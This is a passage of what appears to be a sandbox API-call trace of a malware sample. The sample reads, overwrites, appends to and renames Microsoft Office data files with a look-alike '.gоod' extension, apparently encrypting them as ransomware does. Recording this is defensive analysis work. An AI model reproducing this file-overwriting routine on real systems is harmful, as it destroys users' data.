returned 1 [0182.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0182.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.200] GetFileType (hFile=0x7c8) returned 0x1 [0182.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.200] GetFileType (hFile=0x7c8) returned 0x1 [0182.200] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x62499 [0182.201] WriteFile (in: hFile=0x7c8, lpBuffer=0x35946c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35946c8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0182.366] CloseHandle (hObject=0x7c8) returned 1 [0182.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0182.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.673] GetFileType (hFile=0x768) returned 0x1 [0182.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.673] GetFileType (hFile=0x768) returned 0x1 [0182.673] ReadFile (in: hFile=0x768, lpBuffer=0x363de50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x363de50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0182.728] CloseHandle (hObject=0x768) returned 1 [0182.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0182.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.729] GetFileType (hFile=0x768) returned 0x1 [0182.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.729] GetFileType (hFile=0x768) returned 0x1 [0182.729] WriteFile (in: hFile=0x768, lpBuffer=0x3639608*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3639608*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0182.729] CloseHandle (hObject=0x768) returned 1 [0182.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0182.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0182.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0182.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x147a8a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x147a8a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x69200602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x624a9)) returned 1 [0182.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0182.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0182.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0182.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0182.730] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x372c358 | out: lpFileInformation=0x372c358*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x98e08)) returned 1 [0182.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0182.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0182.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.731] GetFileType (hFile=0x768) returned 0x1 [0182.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.731] GetFileType (hFile=0x768) returned 0x1 [0182.731] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0182.731] ReadFile (in: hFile=0x768, lpBuffer=0x372c7e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x372c7e0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0182.983] CloseHandle (hObject=0x768) returned 1 [0182.983] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0182.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.984] GetFileType (hFile=0x768) returned 0x1 [0182.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.984] GetFileType (hFile=0x768) returned 0x1 [0182.984] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x98e08 [0182.984] WriteFile (in: hFile=0x768, lpBuffer=0x36b93d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36b93d8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0182.986] CloseHandle (hObject=0x768) returned 1 [0182.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0182.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.987] GetFileType (hFile=0x768) returned 0x1 [0182.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.987] GetFileType (hFile=0x768) returned 0x1 [0182.987] ReadFile (in: hFile=0x768, lpBuffer=0x36bd9f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36bd9f8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0183.179] CloseHandle (hObject=0x768) returned 1 [0183.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0183.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.180] GetFileType (hFile=0x768) returned 0x1 [0183.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.180] GetFileType (hFile=0x768) returned 0x1 [0183.180] WriteFile (in: hFile=0x768, lpBuffer=0x356f058*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x356f058*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0183.180] CloseHandle (hObject=0x768) returned 1 [0183.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0183.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0183.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0183.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x69652a05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x98e18)) returned 1 [0183.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0183.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0183.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0183.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35ca018 | out: lpFileInformation=0x35ca018*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1159842, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x98fc4)) returned 1 [0183.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0183.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.183] GetFileType (hFile=0x768) returned 0x1 [0183.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.183] GetFileType (hFile=0x768) returned 0x1 [0183.183] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0183.183] ReadFile (in: hFile=0x768, lpBuffer=0x35cb498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35cb498*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0183.185] CloseHandle (hObject=0x768) returned 1 [0183.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.185] GetFileType (hFile=0x768) returned 0x1 [0183.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.185] GetFileType (hFile=0x768) returned 0x1 [0183.185] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x98fc4 [0183.185] WriteFile (in: hFile=0x768, lpBuffer=0x35cc758*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35cc758*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0183.187] CloseHandle (hObject=0x768) returned 1 [0183.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.187] GetFileType (hFile=0x768) returned 0x1 [0183.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.187] GetFileType (hFile=0x768) returned 0x1 [0183.187] ReadFile (in: hFile=0x768, lpBuffer=0x35cea40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x35cea40*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0183.830] CloseHandle (hObject=0x768) returned 1 [0183.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.830] GetFileType (hFile=0x768) returned 0x1 [0183.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.830] GetFileType (hFile=0x768) returned 0x1 [0183.830] WriteFile (in: hFile=0x768, lpBuffer=0x3577ff0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3577ff0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0183.830] CloseHandle (hObject=0x768) returned 1 [0183.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0183.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4f [0183.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0183.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x69c9ae78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x98fd4)) returned 1 [0183.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0183.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat.gоod")) returned 1 [0183.831] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0183.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0183.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x375d048 | out: lpFileInformation=0x375d048*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38343)) returned 1 [0183.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0183.832] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0183.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.832] GetFileType (hFile=0x768) returned 0x1 [0183.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.832] GetFileType (hFile=0x768) returned 0x1 [0183.832] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0183.832] ReadFile (in: hFile=0x768, lpBuffer=0x375d4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x375d4f0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0183.833] CloseHandle (hObject=0x768) returned 1 [0183.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0183.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) 